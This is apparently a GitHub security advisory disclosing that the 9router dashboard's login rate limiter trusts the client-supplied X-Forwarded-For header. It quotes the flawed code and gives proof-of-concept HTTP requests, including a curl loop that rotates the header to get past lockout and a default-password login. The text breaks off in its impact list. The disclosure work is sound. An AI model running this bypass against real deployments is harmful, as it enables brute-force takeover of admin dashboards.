OSV 1.4.0 · github-reviewed · 修改于 2026-07-07 05:46
发布时间
2026-07-07 05:46
GitHub 审查时间
2026-07-07 05:46
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/07/GHSA-7cfm-pqrj-xgq7/GHSA-7cfm-pqrj-xgq7.json
The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.
This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.
| Component | File | Note |
|---|---|---|
| Dashboard login rate limiter | src/lib/auth/loginLimiter.js | Uses X-Forwarded-For as the client identity without a trusted-proxy check |
| Dashboard login route | src/app/api/auth/login/route.js | Calls checkLock() and recordFail() using the spoofable client identity |
src/lib/auth/loginLimiter.js:
export function getClientIp(request) {
const xff = request.headers.get("x-forwarded-for");
if (xff) return xff.split(",")[0].trim();
return request.headers.get("x-real-ip") || "unknown";
}
The returned value is used as the key for the in-memory rate-limit state:
const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }
The login route uses this value when checking and recording failed login attempts:
export async function POST(request) {
const ip = getClientIp(request);
const lock = checkLock(ip);
if (lock.locked) {
return NextResponse.json(
{ error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },
{ status: 429 }
);
}
// ... password validation ...
recordFail(ip);
}
Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.
Send repeated failed login attempts with the same X-Forwarded-For value:
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1
{"password":"wrong-password"}
Observed behavior:
| Attempt | Response |
|---|---|
| 1 | Invalid password. 4 attempt(s) left before lockout. |
| 2 | Invalid password. 3 attempt(s) left before lockout. |
| 3 | Invalid password. 2 attempt(s) left before lockout. |
| 4 | Invalid password. 1 attempt(s) left before lockout. |
| 5 | Too many failed attempts. Try again in 30s. |
| 6 | Too many failed attempts. Try again in 30s. |
This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.
X-Forwarded-For on each requestSend failed login attempts while changing the X-Forwarded-For value for every request:
for i in $(seq 1 10); do
curl -s -X POST "http://localhost:20128/api/auth/login" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 10.0.0.$i" \
-d '{"password":"wrong-password"}'
echo
done
Observed response for every request:
{
"error": "Invalid password. 4 attempt(s) left before lockout.",
"remainingBeforeLock": 4
}
The counter resets to the initial state on every request, and the lockout is never triggered.
If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.
Example request:
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99
{"password":"<default-dashboard-password>"}
Observed response on a default installation:
HTTP/1.1 200 OK
Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax
{
"success": true
}
The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.
/api/auth/login.X-Forwarded-For header value.A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.
If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to: